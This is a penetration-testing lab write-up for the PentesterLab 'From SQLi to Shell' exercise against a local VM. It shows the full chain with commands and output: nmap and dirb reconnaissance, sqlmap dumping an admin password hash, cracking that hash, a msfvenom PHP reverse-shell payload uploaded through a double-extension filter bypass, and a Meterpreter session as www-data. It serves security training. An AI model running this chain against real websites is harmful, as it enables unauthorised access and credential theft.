From SQLi to Shell
Introduction
This exercise is from pentesterlab and its goal is to go from a SQL injection, gain access to the administration console, then enter the administration console and run commands on the system.
This VM is purely educational and there are no flags to capture.
Location
https://www.pentesterlab.com/exercises/from_sqli_to_shell/online
Getting started
The focus is on port 80, but to be 100% sure, I’m starting with a nmap scan.
┌─[✗]─[n13mant@planetmars]─[~] └──╼ $nmap -A -T4 -sV -p- 192.168.171.4 Starting Nmap 7.30 ( https://nmap.org ) at 2016-11-09 10:34 CET mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.171.4 Host is up (0.00061s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0) | ssh-hostkey: | 1024 fd:68:fc:f7:fa:b0:0a:1f:96:97:7e:67:b0:47:bd:61 (DSA) |_ 2048 93:1f:38:39:f9:31:84:47:d0:21:f6:1d:ad:6d:60:ce (RSA) 80/tcp open http Apache httpd 2.2.16 ((Debian)) |_http-server-header: Apache/2.2.16 (Debian) |_http-title: My Photoblog - last picture Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.59 seconds
Port 22 and 80 are open. On the webserver Apache is running. The website looks like a photo blog (title) and that’s going to be my starting point.
Another way to get valuable information about the system is looking at the HTTP header returned by the server with a tool called cURL.
┌─[n13mant@planetmars]─[~] └──╼ $curl -I http://192.168.171.4 HTTP/1.1 200 OK Date: Wed, 09 Nov 2016 09:47:18 GMT Server: Apache/2.2.16 (Debian) X-Powered-By: PHP/5.3.3-7+squeeze14 Vary: Accept-Encoding Content-Type: text/html
In the example provided by pentesterlab you can use a tool called wfuzz to retrieve possible folders.
Another tool is dirb, which I’m going to use.
┌─[n13mant@planetmars]─[~] └──╼ $dirb http://192.168.171.4 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Nov 9 10:53:01 2016 URL_BASE: http://192.168.171.4/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.171.4/ ---- ==> DIRECTORY: http://192.168.171.4/admin/ + http://192.168.171.4/all (CODE:200|SIZE:2022) + http://192.168.171.4/cat (CODE:200|SIZE:1858) + http://192.168.171.4/cgi-bin/ (CODE:403|SIZE:289) ==> DIRECTORY: http://192.168.171.4/classes/ ==> DIRECTORY: http://192.168.171.4/css/ + http://192.168.171.4/footer (CODE:200|SIZE:185) + http://192.168.171.4/header (CODE:200|SIZE:796) ==> DIRECTORY: http://192.168.171.4/images/ + http://192.168.171.4/index (CODE:200|SIZE:1343) + http://192.168.171.4/index.php (CODE:200|SIZE:1343) + http://192.168.171.4/server-status (CODE:403|SIZE:294) + http://192.168.171.4/show (CODE:200|SIZE:1320) ---- Entering directory: http://192.168.171.4/admin/ ---- + http://192.168.171.4/admin/del (CODE:302|SIZE:0) + http://192.168.171.4/admin/footer (CODE:200|SIZE:19) + http://192.168.171.4/admin/header (CODE:200|SIZE:686) + http://192.168.171.4/admin/index (CODE:302|SIZE:0) + http://192.168.171.4/admin/index.php (CODE:302|SIZE:0) + http://192.168.171.4/admin/login (CODE:200|SIZE:1387) + http://192.168.171.4/admin/logout (CODE:302|SIZE:0) + http://192.168.171.4/admin/new (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.171.4/admin/uploads/ ---- Entering directory: http://192.168.171.4/classes/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.171.4/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.171.4/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.171.4/admin/uploads/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Wed Nov 9 10:53:07 2016 DOWNLOADED: 9224 - FOUND: 17
Following the rest of the links I get similar pages and an login page.
This is obviously going to be my way in.
To get the content of the database, I’m going to exploit the vulnerability by hand first and later on with an automated tool called sqlmap.
And there we have the username and password of the admin account.
The password is hashed. So the first step is to crack the hash. It looks like a MD5 hash and before I’m going to use a tool called John-the-Ripper, I’m going to search the internet first to see if someone already took the liberty to crack this particular hash.
┌─[✗]─[n13mant@planetmars]─[~] └──╼ $findmyhash MD5 -h 8efe310f9ab3efeae8d410a8e0166eb2 Cracking hash: 8efe310f9ab3efeae8d410a8e0166eb2 Analyzing with cmd5 (http://www.cmd5.org)... ... hash not found in cmd5 [.....SNIP.....] Analyzing with my-addr (http://md5.my-addr.com)... ***** HASH CRACKED!! ***** The original string is: P4ssw0rd The following hashes were cracked: ---------------------------------- 8efe310f9ab3efeae8d410a8e0166eb2 -> P4ssw0rd
Nice. Saves me some time. This only worked because the hash was unsalted. If it were, I needed to brute-force it, which would take a whole lot of time (on my laptop).
For educational purposes I created a password list (with only the hash) and a dictionary list (with only the right password) and I’m going to run John-the-Ripper.
┌─[✗]─[n13mant@planetmars]─[~/Desktop] └──╼ $john password --format=raw-md5 --wordlist=list.txt --rules Created directory: /home/n13mant/.john Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status P4ssw0rd (?) 1g 0:00:00:00 DONE (2016-11-09 11:41) 100.0g/s 300.0p/s 300.0c/s 300.0C/s P4ssw0rd..P4SSW0RD Use the "--show" option to display all of the cracked passwords reliably Session completed
Now for the automated way with sqlmap. In this scenario again I’m using the custom made dictionary list to speed up things.
┌─[n13mant@planetmars]─[~/Desktop] └──╼ $sqlmap -u 'http://192.168.171.4/cat.php?id=1' --level=3 --risk=3 --dbs --dbms=mysql ___ __H__ ___ ___[']_____ ___ ___ {1.0.10#stable} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [.....SNIP.....] --- [13:23:41] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 6.0 (squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL >= 5.0 [13:23:41] [INFO] fetching database names available databases [2]: [*] information_schema [*] photoblog [.....SNIP.....] --- [13:24:10] [INFO] testing MySQL [13:24:10] [INFO] confirming MySQL [13:24:10] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 6.0 (squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL >= 5.0.0 [13:24:10] [INFO] fetching tables for database: 'photoblog' Database: photoblog [3 tables] +------------+ | categories | | pictures | | users | +------------+ [.....SNIP.....] Database: photoblog Table: users [1 entry] +----+-------+---------------------------------------------+ | id | login | password | +----+-------+---------------------------------------------+ | 1 | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) | +----+-------+---------------------------------------------+
It can save up a lot of time using a tool like sqlmap.
Now to use the found credentials and let myself in.
At the admin section there is an option to manage the pictures and to upload a picture.
In this case, I’m going to upload a dirty file and try to get a reverse shell.
First of I’m going to create a payload with msfvenom.
┌─[✗]─[n13mant@planetmars]─[~/Desktop] └──╼ $msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.171.2 LPORT=31337 -f raw > shell.php No platform was selected, choosing Msf::Module::Platform::PHP from the payload No Arch selected, selecting Arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 950 bytes
Next I’m going to upload it to the server. Unfortunately there is a small check and PHP files are not permitted.
Time to run burp suite and examine the data.
Because I don’t know what kind of filter is implemented I capture the POST request and send it to the burp suite repeater. There I can change the data and test the results. After a while it seems that there is a simple extension filter. To bypass that filter I use the extension .php.qwerty
because Apache doesn’t know this kind of extension and will dismiss it and run with the extension it does know: .php
When I got the php file on the server it’s time to start up a listener and execute the file by browsing to /admin/uploads/shell.php.qwerty
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.171.2 LHOST => 192.168.171.2 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > run [*] Started reverse TCP handler on 192.168.171.2:31337 [*] Starting the payload handler... [*] Sending stage (33721 bytes) to 192.168.171.4 [*] Meterpreter session 1 opened (192.168.171.2:31337 -> 192.168.171.4:36538) at 2016-11-09 13:00:08 +0100 meterpreter > shell Process 1659 created. Channel 0 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data)
On a real system you can try to elevate your rights, but in this case the final objective was to get a remote shell.